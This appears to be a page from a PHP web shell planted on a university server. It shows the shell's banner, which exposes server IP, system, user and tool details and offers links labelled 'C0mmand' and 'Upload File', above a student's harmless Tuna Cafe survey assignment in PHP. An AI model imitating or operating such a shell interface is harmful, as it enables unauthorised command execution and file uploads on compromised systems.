Server IP : 172.16.15.8 / Your IP : 3.135.247.17 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ecabbott/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Erin Abbott CS 480 Assignment4 Objective: to modify the Tuna Cafe Survey to include a list of what the user liked about the service 3/1/16 --> <FONT color=blue size=3> Tuna Cafe Survey <HR> <FORM action=4check.php method=post> <?php $menu = array("Tuna Casserole", "Tuna Sandwich", "Tuna Pie", "Grilled Tuna", "Tuna Surprise"); $bs = 2; print "Please indicate your favorite - <BR>"; for ($i=0; $i<count($menu); $i++) { print "<INPUT type=checkbox name=prefer[] value=$i> $menu[$i]"; if($i == $bs) print "<B><FONT color=red> Best seller! </FONT> </B>"; print "<BR>"; } ?> <P> <?php $opinion = array("The marvelous food preperation.", "The affordable prices.", "The speedy services.", "Just like tuna.", "None of the above."); print "What do you most like about the service?<BR>"; for ($j=0; $j<count($opinion); $j++) { print "<INPUT type=checkbox name=feedback[] value=$j> $opinion[$j]"; print "<BR>"; } ?> <P> <INPUT type=submit value=Go> <INPUT type=reset value="Clear All"> <P> <A HREF=index.html> Back to main page </A> </FORM> </FONT>